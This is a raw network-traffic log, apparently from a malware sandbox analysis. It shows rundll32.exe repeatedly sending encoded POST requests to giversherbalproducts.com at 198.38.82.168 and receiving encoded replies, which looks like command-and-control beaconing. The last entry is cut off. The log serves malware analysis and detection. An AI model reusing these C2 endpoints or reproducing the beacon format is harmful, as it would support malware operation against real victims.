Oct 4, 2021 16:02:48.915317059 CEST	7237	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:48 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.3	50042	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:48.946389914 CEST	7238	OUT	POST /lBawcxb5/CHoveXt4Ph4VAyEJexQZBz86dQwqDQEkNxwhI0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:49.448777914 CEST	7241	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.3	50043	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:49.282660007 CEST	7240	OUT	POST /lBawcxb5/LRkqBRs9LQ4/JSIvBDw3KCwJIntCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:49.779196024 CEST	7242	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.3	50044	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:49.859910011 CEST	7242	OUT	POST /lBawcxb5/EgV4KAUtCD4PID17LglGenN5Yn59cmV+YXg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:50.394778967 CEST	7244	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:49 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.3	50045	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:50.150732040 CEST	7243	OUT	POST /lBawcxb5/MRMKDjY/IhkIGhgGHi8tCCENKRcdPR0dRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:50.633420944 CEST	7245	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.3	50046	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:50.753236055 CEST	7245	OUT	POST /lBawcxb5/PQUmKB0TEgU/Ng5+BQQdIEN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:51.194152117 CEST	7247	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.3	50047	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:50.932872057 CEST	7246	OUT	POST /lBawcxb5/KgUKfiUpewUIDBN5PRx9e0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:51.377594948 CEST	7249	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:50 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.3	50048	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:51.751152992 CEST	7250	OUT	POST /lBawcxb5/eHMTeicjLSU2ewYseiU7enIEAAQvPkJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:52.237699032 CEST	7251	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt8fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49774	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:18.149640083 CEST	1073	OUT	POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:18.639976025 CEST	1074	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.3	50049	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:51.790783882 CEST	7250	OUT	POST /lBawcxb5/EQkJICsCISkfGjF4IHgXL0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:52.299221039 CEST	7252	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:51 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 38 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 